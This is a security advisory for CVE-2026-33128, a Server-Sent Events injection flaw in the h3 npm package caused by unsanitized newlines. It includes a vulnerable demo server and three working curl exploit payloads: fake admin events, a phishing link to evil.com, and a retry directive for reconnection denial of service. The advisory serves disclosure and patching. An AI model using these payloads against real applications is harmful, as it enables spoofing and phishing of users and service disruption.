Skip to content

h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields

High severity GitHub Reviewed Published Mar 17, 2026 in h3js/h3 • Updated Mar 18, 2026

Package

npm h3 (npm)

Affected versions

>= 2.0.0, <= 2.0.1-rc.14
< 1.15.6

Patched versions

2.0.1-rc.15
1.15.6

Description

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

export function formatEventStreamComment(comment: string): string {
  return `: ${comment}\n\n`;
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${message.id}\n`;
  }
  if (message.event) {
    result += `event: ${message.event}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  result += `data: ${message.data}\n\n`;
  return result;
}

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

  1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
  2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
  3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
  4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format:        Actual wire format (with \n injection):

event: message               event: message
data: attacker: hey          event: admin              ← INJECTED
                             data: ALL_USERS_HACKED    ← INJECTED
                             data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended:                    Actual (with \n\n injection):

event: message               event: message
data: bob: hi                data: bob: hi
                                                        ← event boundary
                             event: system              ← INJECTED event
                             data: Reset: evil.com      ← INJECTED data

Before exploit:
image

image

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";

const app = new H3();
const clients: any[] = [];

app.get("/events", (event) => {
  const stream = createEventStream(event);
  clients.push(stream);
  stream.onClosed(() => {
    clients.splice(clients.indexOf(stream), 1);
    stream.close();
  });
  return stream.send();
});

app.get("/send", async (event) => {
  const query = getQuery(event);
  const user = query.user as string;
  const msg = query.msg as string;
  const type = (query.type as string) || "message";

  for (const client of clients) {
    await client.push({ event: type, data: `${user}: ${msg}` });
  }

  return { status: "sent" };
});

serve({ fetch: app.fetch });

Exploit

# 1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

# 2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

# 3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit

The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.

Proof:

image

image

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

  • Cross-user content injection — inject fake messages in chat applications
  • Phishing — inject fake system notifications with malicious links
  • Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
  • Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms
  • Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

References

@pi0 pi0 published to h3js/h3 Mar 17, 2026
Published to the GitHub Advisory Database Mar 18, 2026
Reviewed Mar 18, 2026
Last updated Mar 18, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N

EPSS score

Weaknesses

Improper Neutralization of CRLF Sequences ('CRLF Injection')

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs. Learn more on MITRE.

CVE ID

CVE-2026-33128

GHSA ID

GHSA-22cc-p3c6-wpvm

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.